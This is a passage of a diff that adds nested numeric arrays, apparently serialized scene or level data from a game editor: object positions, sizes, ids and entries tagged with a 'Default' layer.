+ ],
+ 533,
+ 5911,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1684,
+ 632,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5910,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1204,
+ 866,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5909,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 493,
+ 861,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5866,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1603,
+ 1356,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5898,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1327,
+ 1475,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5899,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1133,
+ 1398,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5900,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 884,
+ 1546,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5901,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 596,
+ 1471,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5902,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5044,
+ 1092,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5897,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3783,
+ 1589,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5896,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3409,
+ 1520,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5893,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3320,
+ 904,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5892,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2600,
+ 942,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5891,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2228,
+ 942,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5890,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1756,
+ 639,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5889,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 264,
+ 1078,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5888,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9,
+ 848,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5887,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8326,
+ 1249,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2802,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4825,
+ 988,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2831,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4825,
+ 1083,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2832,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4917,
+ 988,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2833,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4917,
+ 1083,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2834,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5008,
+ 988,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2835,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5008,
+ 1083,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2836,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5100,
+ 988,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2837,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5100,
+ 1083,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2838,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5191,
+ 988,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2839,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5191,
+ 1083,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2840,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4825,
+ 1178,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2841,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4917,
+ 1178,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2842,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5008,
+ 1178,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2843,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5100,
+ 1178,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2844,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5191,
+ 1178,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2845,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4826,
+ 1272,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2846,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4917,
+ 1272,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2865,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5008,
+ 1272,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2867,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5100,
+ 1272,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2869,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5192,
+ 1272,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2870,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4826,
+ 1366,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2871,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4917,
+ 1366,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2887,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5008,
+ 1366,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2888,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5100,
+ 1366,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2889,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5192,
+ 1366,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2890,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2869.060791015625,
+ 777.7277221679688,
+ 0,
+ 144.1654357910156,
+ 93.89250946044922,
+ 0,
+ 0.1832728683948517,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2599,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2986.5625,
+ 867.7940673828125,
+ 0,
+ 149.6922149658203,
+ 93,
+ 0,
+ 0.1832728683948517,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2761,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2681.359130859375,
+ 768.3285522460938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2724,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2681.359130859375,
+ 863.3285522460938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2725,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2772.359130859375,
+ 768.3285522460938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2736,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2772.359130859375,
+ 863.3285522460938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2737,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2681.359130859375,
+ 958.3285522460938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2738,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2772.359130859375,
+ 958.3285522460938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2739,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2681.359130859375,
+ 1052.32861328125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2740,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2772.359130859375,
+ 1052.32861328125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2743,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2224.29638671875,
+ 674.0499877929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2704,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2224.29638671875,
+ 769.0499877929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2705,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2315.29638671875,
+ 674.0499877929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2706,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2315.29638671875,
+ 769.0499877929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2707,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2224.29638671875,
+ 864.0499877929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2708,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2315.29638671875,
+ 864.0499877929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2711,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2224.29638671875,
+ 958.0499877929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2712,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2315.29638671875,
+ 958.0499877929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2713,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2224.29638671875,
+ 1052.050048828125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2714,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2315.29638671875,
+ 1052.050048828125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2715,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1675.46142578125,
+ 674.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2676,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1675.46142578125,
+ 769.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2677,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1766.46142578125,
+ 674.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2678,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1766.46142578125,
+ 769.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2679,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1858.46142578125,
+ 674.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2680,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1858.46142578125,
+ 769.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2681,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1949.46142578125,
+ 674.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2682,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1949.46142578125,
+ 769.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2683,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2041.46142578125,
+ 674.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2684,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2041.46142578125,
+ 769.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2685,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2132.46142578125,
+ 674.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2686,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2132.46142578125,
+ 769.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2687,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1675.46142578125,
+ 864.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2688,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1766.46142578125,
+ 864.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2689,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1858.46142578125,
+ 864.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2690,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1949.46142578125,
+ 864.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2693,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2041.46142578125,
+ 864.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2694,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2132.46142578125,
+ 864.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2695,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1675.46142578125,
+ 958.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2696,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1766.46142578125,
+ 958.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
